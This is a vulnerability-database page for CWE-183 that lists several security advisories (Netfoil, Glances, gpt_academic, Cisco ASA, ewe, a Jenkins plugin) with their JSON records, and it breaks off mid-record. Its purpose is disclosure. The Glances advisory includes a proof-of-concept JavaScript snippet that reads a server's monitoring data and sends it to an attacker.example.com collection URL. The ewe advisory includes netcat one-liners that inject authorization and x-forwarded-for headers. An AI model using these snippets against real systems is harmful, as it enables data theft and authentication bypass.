Common Weakness Enumeration

CWE-183

Allowed

Permissive List of Allowed Inputs

Abstraction: Base · Status: Draft

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses.

93 vulnerabilities reference this CWE, most recent first.

GHSA-84G5-X8J3-7235

Vulnerability from github – Published: 2026-04-29 22:22 – Updated: 2026-04-29 22:22
VLAI
Summary
Netfoil has incorrect allowlist enforcement
Details

Summary

Rules could be bypassed by changing the first character: example.com could be be bypassed by e.g. fxample.com.

Details

Off-by-one error in the suffixtrie implementation.

Impact

The domain filter could be bypassed. Please note that DNS filtering alone is not enough to block malicious traffic.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/tinfoil-factory/netfoil"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-193"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-29T22:22:16Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nRules could be bypassed by changing the first character: `example.com` could be be bypassed by e.g. `fxample.com`.\n\n### Details\nOff-by-one error in the suffixtrie implementation.\n\n### Impact\nThe domain filter could be bypassed. Please note that DNS filtering alone is not enough to block malicious traffic.",
  "id": "GHSA-84g5-x8j3-7235",
  "modified": "2026-04-29T22:22:16Z",
  "published": "2026-04-29T22:22:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tinfoil-factory/netfoil/security/advisories/GHSA-84g5-x8j3-7235"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinfoil-factory/netfoil/commit/0ca054acf97b011e4fdd40392475c7786b975ec3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tinfoil-factory/netfoil"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinfoil-factory/netfoil/releases/tag/v0.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Netfoil has incorrect allowlist enforcement"
}

GHSA-87QC-FJ39-WCCR

Vulnerability from github – Published: 2026-06-22 21:27 – Updated: 2026-07-21 14:44
VLAI
Summary
Glances: XML-RPC Multi-Origin CORS Configuration Silently Falls Back to Wildcard (Incomplete Fix for CVE-2026-33533)
Details

Summary

The Glances XML-RPC server (glances -s) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE 2026-33533. However, the implementation silently falls back to Access-Control-Allow-Origin: * whenever cors_origins contains more than one entry. An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard — the same exposure that the original CVE described. A malicious web page served from any origin can issue a CORS simple request to /RPC2 and read the full system monitoring dataset without the victim's knowledge.


Details

Affected file: glances/server.py, class GlancesXMLRPCServer, line 113

Direct URL (commit 04579778e733d705898a169e049dc84772c852da): - https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py#L113

# server.py  (GlancesXMLRPCServer.__init__)
cors_origins = self.args.cors_origins   # list from config / CLI

# Line 113 — the incomplete fix:
self.cors_origin = cors_origins[0] if len(cors_origins) == 1 else '*'
#                                                                  ^^^
# Any allowlist with 2+ entries collapses to the wildcard

The cors_origin value is then echoed back as the Access-Control-Allow-Origin response header for every request (line ~147 in the same file):

self.send_header('Access-Control-Allow-Origin', self.cors_origin)

This means the CORS header is determined once at server startup and never compared against the actual Origin header sent by the browser. Even if an operator sets:

# glances.conf
[outputs]
cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com

the server responds with Access-Control-Allow-Origin: * to every request, including those from https://attacker.example.com.

Single-origin wildcard (the default, cors_origins = *) is also still in effect; the fix only helps if exactly one non-wildcard origin is configured.

Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).

Test results:

Origin sent ACAO header returned Expected
http://evil.example.com * No header
https://dashboard.corp * Reflected
https://grafana.corp * Reflected

PoC

Special configuration required

The multi-origin collapse is only triggered when cors_origins contains two or more entries. Create the following glances.conf:

# /tmp/glances_multiorigin.conf
[global]
check_update = false

[outputs]
cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com

Step 1 — Start the XML-RPC server using the config above

glances -s -p 61209 -C /tmp/glances_multiorigin.conf

Step 2 — Send a CORS simple request from a foreign origin

curl -s -D - -X POST "http://TARGET_HOST:61209/RPC2" \
     -H "Content-Type: text/plain" \
     -H "Origin: http://evil.example.com" \
     -d '<?xml version="1.0"?>
         <methodCall><methodName>getAllPlugins</methodName></methodCall>'

Expected (secure) response:

HTTP/1.0 400 Bad Request

or no Access-Control-Allow-Origin header.

Actual response:

HTTP/1.0 200 OK
Access-Control-Allow-Origin: *
...
<?xml version='1.0'?>
<methodResponse>
  <params><param><value><array><data>
    <value><string>cpu</string></value>
    <value><string>mem</string></value>
    ...
  </data></array></value></param></params>
</methodResponse>

Step 3 — Demonstrate the code-level collapse to wildcard

import sys
sys.path.insert(0, '/path/to/glances')   # adjust to local clone
from glances.config import Config

c = Config('/tmp/glances_multiorigin.conf')
cors_list = c.get_list_value('outputs', 'cors_origins', default=['*'])
# Reproduces server.py line 113:
result = cors_list[0] if len(cors_list) == 1 else '*'

print('cors_origins config :', cors_list)
print('cors_origin applied :', result)
print('Is wildcard?        :', result == '*')
# cors_origins config : ['https://dashboard.corp.example.com', 'https://grafana.corp.example.com']
# cors_origin applied : *
# Is wildcard?        : True

Browser-based exploitation

Once the wildcard is confirmed, the original CVE-2026-33533 attack vector still applies in full. A malicious page served to a victim whose browser can reach the Glances server can exfiltrate data as follows:

// Runs in a page on http://evil.example.com
const payload = `<?xml version="1.0"?>
  <methodCall><methodName>getAll</methodName></methodCall>`;

fetch('http://GLANCES_HOST:61209/RPC2', {
  method: 'POST',
  headers: { 'Content-Type': 'text/plain' },
  body: payload,
})
.then(r => r.text())
.then(data => {
  // 'data' contains hostname, OS, full process list, network interfaces, etc.
  fetch('https://attacker.example.com/collect?d=' + btoa(data));
});

This works as a CORS "simple request" (POST + text/plain) — no CORS preflight is triggered and the * wildcard allows the browser to read the response.


Impact

Vulnerability type: CORS Misconfiguration / Bypass of CVE-2026-33533 mitigation (CWE-942)

Who is impacted: Any operator who: 1. Runs Glances in XML-RPC server mode (glances -s), and 2. Has configured two or more cors_origins entries in glances.conf believing they are restricting browser access.

Operators using the default single-wildcard configuration (cors_origins = *, which is the upstream default) remain affected by the original CVE-2026-33533 exposure (unrestricted cross-origin read). The incomplete fix addresses only the narrow case of a single non-wildcard origin.

Data exposed through the XML-RPC API includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, passwords, and tokens), CPU/memory/disk/network statistics, listening ports, and Docker/Kubernetes container metadata.

Impact: - Confidentiality: High — complete system monitoring data readable by any browser page. - Integrity: None — read-only API. - Availability: None — no denial-of-service component.


Suggested Fix

Implement per-request origin reflection against the configured allowlist, as recommended by the W3C CORS specification and as done by modern CORS middleware (e.g. Starlette's CORSMiddleware):

# server.py  — replace the single static self.cors_origin field with:

def _get_acao_header(self, request_origin: str) -> str | None:
    """Return the correct Access-Control-Allow-Origin value or None."""
    if not self.cors_origins or '*' in self.cors_origins:
        return '*'
    if request_origin in self.cors_origins:
        return request_origin
    return None   # do not send the header for unlisted origins

# In do_POST / send_response:
origin = self.headers.get('Origin', '')
acao   = self._get_acao_header(origin)
if acao:
    self.send_header('Access-Control-Allow-Origin', acao)
    self.send_header('Vary', 'Origin')

Additionally, consider retiring the legacy XML-RPC server in favour of the REST API (glances -w), which uses Starlette's CORSMiddleware correctly, and document the deprecation path.


Responsible Disclosure

The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.


Credits

This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.


Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46608"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T21:27:24Z",
    "nvd_published_at": "2026-06-25T19:16:37Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe Glances XML-RPC server (`glances -s`) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE 2026-33533.  However, the implementation silently falls back to `Access-Control-Allow-Origin: *` whenever `cors_origins` contains more than one entry.  An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard \u2014 the same exposure that the original CVE described.  A malicious web page served from any origin can issue a CORS simple request to `/RPC2` and read the full system monitoring dataset without the victim\u0027s knowledge.\n\n---\n\n### Details\n\n**Affected file:** `glances/server.py`, class `GlancesXMLRPCServer`, line 113\n\n**Direct URL (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py#L113\n\n```python\n# server.py  (GlancesXMLRPCServer.__init__)\ncors_origins = self.args.cors_origins   # list from config / CLI\n\n# Line 113 \u2014 the incomplete fix:\nself.cors_origin = cors_origins[0] if len(cors_origins) == 1 else \u0027*\u0027\n#                                                                  ^^^\n# Any allowlist with 2+ entries collapses to the wildcard\n```\n\nThe `cors_origin` value is then echoed back as the `Access-Control-Allow-Origin` response header for every request (line ~147 in the same file):\n\n```python\nself.send_header(\u0027Access-Control-Allow-Origin\u0027, self.cors_origin)\n```\n\nThis means the CORS header is determined once at server startup and never compared against the actual `Origin` header sent by the browser.  Even if an operator sets:\n\n```ini\n# glances.conf\n[outputs]\ncors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com\n```\n\nthe server responds with `Access-Control-Allow-Origin: *` to every request, including those from `https://attacker.example.com`.\n\n**Single-origin wildcard** (the default, `cors_origins = *`) is also still in effect; the fix only helps if exactly one non-wildcard origin is configured.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nTest results:\n\n| Origin sent              | ACAO header returned | Expected     |\n|--------------------------|----------------------|--------------|\n| `http://evil.example.com`| `*`                  | No header    |\n| `https://dashboard.corp` | `*`                  | Reflected    |\n| `https://grafana.corp`   | `*`                  | Reflected    |\n\n---\n\n### PoC\n\n**Special configuration required**\n\nThe multi-origin collapse is only triggered when `cors_origins` contains two or more entries.  Create the following `glances.conf`:\n\n```ini\n# /tmp/glances_multiorigin.conf\n[global]\ncheck_update = false\n\n[outputs]\ncors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com\n```\n\n**Step 1 \u2014 Start the XML-RPC server using the config above**\n\n```bash\nglances -s -p 61209 -C /tmp/glances_multiorigin.conf\n```\n\n**Step 2 \u2014 Send a CORS simple request from a foreign origin**\n\n```bash\ncurl -s -D - -X POST \"http://TARGET_HOST:61209/RPC2\" \\\n     -H \"Content-Type: text/plain\" \\\n     -H \"Origin: http://evil.example.com\" \\\n     -d \u0027\u003c?xml version=\"1.0\"?\u003e\n         \u003cmethodCall\u003e\u003cmethodName\u003egetAllPlugins\u003c/methodName\u003e\u003c/methodCall\u003e\u0027\n```\n\n**Expected (secure) response:**\n\n```\nHTTP/1.0 400 Bad Request\n```\n\nor no `Access-Control-Allow-Origin` header.\n\n**Actual response:**\n\n```\nHTTP/1.0 200 OK\nAccess-Control-Allow-Origin: *\n...\n\u003c?xml version=\u00271.0\u0027?\u003e\n\u003cmethodResponse\u003e\n  \u003cparams\u003e\u003cparam\u003e\u003cvalue\u003e\u003carray\u003e\u003cdata\u003e\n    \u003cvalue\u003e\u003cstring\u003ecpu\u003c/string\u003e\u003c/value\u003e\n    \u003cvalue\u003e\u003cstring\u003emem\u003c/string\u003e\u003c/value\u003e\n    ...\n  \u003c/data\u003e\u003c/array\u003e\u003c/value\u003e\u003c/param\u003e\u003c/params\u003e\n\u003c/methodResponse\u003e\n```\n\n**Step 3 \u2014 Demonstrate the code-level collapse to wildcard**\n\n```python\nimport sys\nsys.path.insert(0, \u0027/path/to/glances\u0027)   # adjust to local clone\nfrom glances.config import Config\n\nc = Config(\u0027/tmp/glances_multiorigin.conf\u0027)\ncors_list = c.get_list_value(\u0027outputs\u0027, \u0027cors_origins\u0027, default=[\u0027*\u0027])\n# Reproduces server.py line 113:\nresult = cors_list[0] if len(cors_list) == 1 else \u0027*\u0027\n\nprint(\u0027cors_origins config :\u0027, cors_list)\nprint(\u0027cors_origin applied :\u0027, result)\nprint(\u0027Is wildcard?        :\u0027, result == \u0027*\u0027)\n# cors_origins config : [\u0027https://dashboard.corp.example.com\u0027, \u0027https://grafana.corp.example.com\u0027]\n# cors_origin applied : *\n# Is wildcard?        : True\n```\n\n**Browser-based exploitation**\n\nOnce the wildcard is confirmed, the original CVE-2026-33533 attack vector still applies in full.  A malicious page served to a victim whose browser can reach the Glances server can exfiltrate data as follows:\n\n```javascript\n// Runs in a page on http://evil.example.com\nconst payload = `\u003c?xml version=\"1.0\"?\u003e\n  \u003cmethodCall\u003e\u003cmethodName\u003egetAll\u003c/methodName\u003e\u003c/methodCall\u003e`;\n\nfetch(\u0027http://GLANCES_HOST:61209/RPC2\u0027, {\n  method: \u0027POST\u0027,\n  headers: { \u0027Content-Type\u0027: \u0027text/plain\u0027 },\n  body: payload,\n})\n.then(r =\u003e r.text())\n.then(data =\u003e {\n  // \u0027data\u0027 contains hostname, OS, full process list, network interfaces, etc.\n  fetch(\u0027https://attacker.example.com/collect?d=\u0027 + btoa(data));\n});\n```\n\nThis works as a CORS \"simple request\" (POST + `text/plain`) \u2014 no CORS preflight is triggered and the `*` wildcard allows the browser to read the response.\n\n---\n\n### Impact\n\n**Vulnerability type:** CORS Misconfiguration / Bypass of CVE-2026-33533 mitigation (CWE-942)\n\n**Who is impacted:** Any operator who:\n1. Runs Glances in XML-RPC server mode (`glances -s`), *and*\n2. Has configured two or more `cors_origins` entries in `glances.conf` believing\n   they are restricting browser access.\n\nOperators using the default single-wildcard configuration (`cors_origins = *`, which is the upstream default) remain affected by the original CVE-2026-33533 exposure (unrestricted cross-origin read).  The incomplete fix addresses only the narrow case of a single non-wildcard origin.\n\n**Data exposed through the XML-RPC API** includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, passwords, and tokens), CPU/memory/disk/network statistics, listening ports, and Docker/Kubernetes container metadata.\n\n**Impact:**\n- **Confidentiality:** High \u2014 complete system monitoring data readable by any browser page.\n- **Integrity:** None \u2014 read-only API.\n- **Availability:** None \u2014 no denial-of-service component.\n\n---\n\n### Suggested Fix\n\nImplement per-request origin reflection against the configured allowlist, as recommended by the W3C CORS specification and as done by modern CORS middleware (e.g. Starlette\u0027s `CORSMiddleware`):\n\n```python\n# server.py  \u2014 replace the single static self.cors_origin field with:\n\ndef _get_acao_header(self, request_origin: str) -\u003e str | None:\n    \"\"\"Return the correct Access-Control-Allow-Origin value or None.\"\"\"\n    if not self.cors_origins or \u0027*\u0027 in self.cors_origins:\n        return \u0027*\u0027\n    if request_origin in self.cors_origins:\n        return request_origin\n    return None   # do not send the header for unlisted origins\n\n# In do_POST / send_response:\norigin = self.headers.get(\u0027Origin\u0027, \u0027\u0027)\nacao   = self._get_acao_header(origin)\nif acao:\n    self.send_header(\u0027Access-Control-Allow-Origin\u0027, acao)\n    self.send_header(\u0027Vary\u0027, \u0027Origin\u0027)\n```\n\nAdditionally, consider retiring the legacy XML-RPC server in favour of the REST API (`glances -w`), which uses Starlette\u0027s `CORSMiddleware` correctly, and document the deprecation path.\n\n---\n\n### Responsible Disclosure\n\nThe AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.\n\n---\n\n### Credits\n\nThis issue was identified by Micha\u0142 Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.\n\n---",
  "id": "GHSA-87qc-fj39-wccr",
  "modified": "2026-07-21T14:44:09Z",
  "published": "2026-06-22T21:27:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-87qc-fj39-wccr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46608"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-87qc-fj39-wccr"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/glances/PYSEC-2026-2495.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/glances"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Glances: XML-RPC Multi-Origin CORS Configuration Silently Falls Back to Wildcard (Incomplete Fix for CVE-2026-33533)"
}

GHSA-8VJH-PXFW-4FQM

Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-10-15 15:30
VLAI
Details

A vulnerability in binary-husky/gpt_academic, as of commit 310122f, allows for a Regular Expression Denial of Service (ReDoS) attack. The function '解析项目源码(手动指定和筛选源码文件类型)' permits the execution of user-provided regular expressions. Certain regular expressions can cause the Python RE engine to take exponential time to execute, leading to a Denial of Service (DoS) condition. An attacker who controls both the regular expression and the search string can exploit this vulnerability to hang the server for an arbitrary amount of time.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-12391"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-183"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-20T10:15:28Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in binary-husky/gpt_academic, as of commit 310122f, allows for a Regular Expression Denial of Service (ReDoS) attack. The function \u0027\u89e3\u6790\u9879\u76ee\u6e90\u7801\uff08\u624b\u52a8\u6307\u5b9a\u548c\u7b5b\u9009\u6e90\u7801\u6587\u4ef6\u7c7b\u578b\uff09\u0027 permits the execution of user-provided regular expressions. Certain regular expressions can cause the Python RE engine to take exponential time to execute, leading to a Denial of Service (DoS) condition. An attacker who controls both the regular expression and the search string can exploit this vulnerability to hang the server for an arbitrary amount of time.",
  "id": "GHSA-8vjh-pxfw-4fqm",
  "modified": "2025-10-15T15:30:24Z",
  "published": "2025-03-20T12:32:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12391"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/70b3f4f0-6b1b-4563-a18c-fe46502e6ba0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9JGG-4Q8X-859V

Vulnerability from github – Published: 2022-05-24 19:18 – Updated: 2023-08-16 18:30
VLAI
Details

A vulnerability in the identity-based firewall (IDFW) rule processing feature of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to bypass security protections. This vulnerability is due to improper handling of network requests by affected devices configured to use object group search. An attacker could exploit this vulnerability by sending a specially crafted network request to an affected device. A successful exploit could allow the attacker to bypass access control list (ACL) rules on the device, bypass security protections, and send network traffic to unauthorized hosts.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-34787"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-755"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-27T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the identity-based firewall (IDFW) rule processing feature of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to bypass security protections. This vulnerability is due to improper handling of network requests by affected devices configured to use object group search. An attacker could exploit this vulnerability by sending a specially crafted network request to an affected device. A successful exploit could allow the attacker to bypass access control list (ACL) rules on the device, bypass security protections, and send network traffic to unauthorized hosts.",
  "id": "GHSA-9jgg-4q8x-859v",
  "modified": "2023-08-16T18:30:20Z",
  "published": "2022-05-24T19:18:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34787"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-rule-bypass-ejjOgQEY"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9W88-79F8-M3VP

Vulnerability from github – Published: 2026-03-16 20:49 – Updated: 2026-03-20 21:19
VLAI
Summary
Permissive List of Allowed Inputs in ewe
Details

Summary

ewe's chunked transfer encoding trailer handling merges declared trailer fields into req.headers after body parsing, but the denylist only blocks 9 header names. Security-sensitive headers like authorization, cookie, and x-forwarded-for can be injected or overwritten by a malicious client via trailers, potentially bypassing authentication or spoofing proxy-trust headers.

Impact

When ewe.read_body processes a chunked request with a Trailer header, it calls handle_trailers (ewe/internal/http1.gleam:493), which merges declared trailer fields into req.headers via request.set_header (line 517). The is_forbidden_trailer denylist (line 534) only blocks 9 header names: transfer-encoding, content-length, host, cache-control, expect, max-forwards, pragma, range, and te.

Security-sensitive headers are not blocked, including:

  • authorization — attacker can inject or overwrite Bearer tokens
  • cookie / set-cookie — attacker can inject session cookies
  • proxy-authorization — attacker can inject proxy credentials
  • x-forwarded-for, x-forwarded-host, x-forwarded-proto — attacker can spoof proxy-trust headers
  • x-real-ip — attacker can spoof client IP

A malicious client can inject these headers by declaring them in the Trailer request header and including them after the final 0\r\n chunk. If the header already exists (e.g., set by a reverse proxy), request.set_header overwrites it. Any application logic that reads these headers after calling ewe.read_body — such as authentication middleware, IP-based rate limiting, or session validation — will see the attacker-controlled values.

Proof of Concept

Inject an authorization header that didn't exist:

printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\nTrailer: authorization\r\n\r\n4\r\ntest\r\n0\r\nauthorization: Bearer injected-token\r\n\r\n' | nc -w 2 localhost 8080

Overwrite a legitimate authorization header set by a proxy:

printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nAuthorization: Bearer legitimate-token\r\nTransfer-Encoding: chunked\r\nTrailer: authorization\r\n\r\n4\r\ntest\r\n0\r\nauthorization: Bearer evil-token\r\n\r\n' | nc -w 2 localhost 8080

Inject x-forwarded-for to spoof client IP:

printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\nTrailer: x-forwarded-for\r\n\r\n4\r\ntest\r\n0\r\nx-forwarded-for: 10.0.0.1\r\n\r\n' | nc -w 2 localhost 8080

Patches

  • Expand the denylist in is_forbidden_trailer to include authorization, cookie, set-cookie, proxy-authorization, x-forwarded-for, x-forwarded-host, x-forwarded-proto, x-real-ip, and other security-sensitive headers.
  • Alternatively, switch to an allowlist model that only permits explicitly safe trailer field names.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "ewe"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.6.0"
            },
            {
              "fixed": "3.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32881"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T20:49:36Z",
    "nvd_published_at": "2026-03-20T02:16:36Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\newe\u0027s chunked transfer encoding trailer handling merges declared trailer fields into `req.headers` after body parsing, but the denylist only blocks 9 header names. Security-sensitive headers like `authorization`, `cookie`, and `x-forwarded-for` can be injected or overwritten by a malicious client via trailers, potentially bypassing authentication or spoofing proxy-trust headers.\n\n## Impact\n\nWhen `ewe.read_body` processes a chunked request with a `Trailer` header, it calls `handle_trailers` (`ewe/internal/http1.gleam:493`), which merges declared trailer fields into `req.headers` via `request.set_header` (line 517). The `is_forbidden_trailer` denylist (line 534) only blocks 9 header names: `transfer-encoding`, `content-length`, `host`, `cache-control`, `expect`, `max-forwards`, `pragma`, `range`, and `te`.\n\nSecurity-sensitive headers are not blocked, including:\n\n- `authorization` \u2014 attacker can inject or overwrite Bearer tokens\n- `cookie` / `set-cookie` \u2014 attacker can inject session cookies\n- `proxy-authorization` \u2014 attacker can inject proxy credentials\n- `x-forwarded-for`, `x-forwarded-host`, `x-forwarded-proto` \u2014 attacker can spoof proxy-trust headers\n- `x-real-ip` \u2014 attacker can spoof client IP\n\nA malicious client can inject these headers by declaring them in the `Trailer` request header and including them after the final `0\\r\\n` chunk. If the header already exists (e.g., set by a reverse proxy), `request.set_header` overwrites it. Any application logic that reads these headers after calling `ewe.read_body` \u2014 such as authentication middleware, IP-based rate limiting, or session validation \u2014 will see the attacker-controlled values.\n\n### Proof of Concept\n\n**Inject an `authorization` header that didn\u0027t exist:**\n\n```sh\nprintf \u0027POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: authorization\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nauthorization: Bearer injected-token\\r\\n\\r\\n\u0027 | nc -w 2 localhost 8080\n```\n\n**Overwrite a legitimate `authorization` header set by a proxy:**\n\n```sh\nprintf \u0027POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nAuthorization: Bearer legitimate-token\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: authorization\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nauthorization: Bearer evil-token\\r\\n\\r\\n\u0027 | nc -w 2 localhost 8080\n```\n\n**Inject `x-forwarded-for` to spoof client IP:**\n\n```sh\nprintf \u0027POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: x-forwarded-for\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nx-forwarded-for: 10.0.0.1\\r\\n\\r\\n\u0027 | nc -w 2 localhost 8080\n```\n\n## Patches\n\n- Expand the denylist in `is_forbidden_trailer` to include `authorization`, `cookie`, `set-cookie`, `proxy-authorization`, `x-forwarded-for`, `x-forwarded-host`, `x-forwarded-proto`, `x-real-ip`, and other security-sensitive headers.\n- Alternatively, switch to an allowlist model that only permits explicitly safe trailer field names.",
  "id": "GHSA-9w88-79f8-m3vp",
  "modified": "2026-03-20T21:19:02Z",
  "published": "2026-03-16T20:49:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vshakitskiy/ewe/security/advisories/GHSA-9w88-79f8-m3vp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32881"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vshakitskiy/ewe/commit/07dcfd2135fc95f38c17a9d030de3d7efee1ee39"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vshakitskiy/ewe/commit/94ab6e7bf7293e987ae98b4daa51ea131c2671ba"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vshakitskiy/ewe"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vshakitskiy/ewe/releases/tag/v3.0.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Permissive List of Allowed Inputs in ewe"
}

GHSA-CCXH-J7HG-M5MR

Vulnerability from github – Published: 2022-05-24 16:56 – Updated: 2023-07-17 21:18
VLAI
Summary
Incorrect Authorization in Jenkins Kubernetes :: Pipeline :: Kubernetes Steps Plugin
Details

Jenkins Kubernetes :: Pipeline :: Kubernetes Steps Plugin provides a custom whitelist for script security that allowed attackers to invoke arbitrary methods, bypassing typical sandbox protection.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.fabric8.pipeline:kubernetes-pipeline-steps"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-10417"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-183",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-09-08T22:42:36Z",
    "nvd_published_at": "2019-09-25T16:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Jenkins Kubernetes :: Pipeline :: Kubernetes Steps Plugin provides a custom whitelist for script security that allowed attackers to invoke arbitrary methods, bypassing typical sandbox protection.",
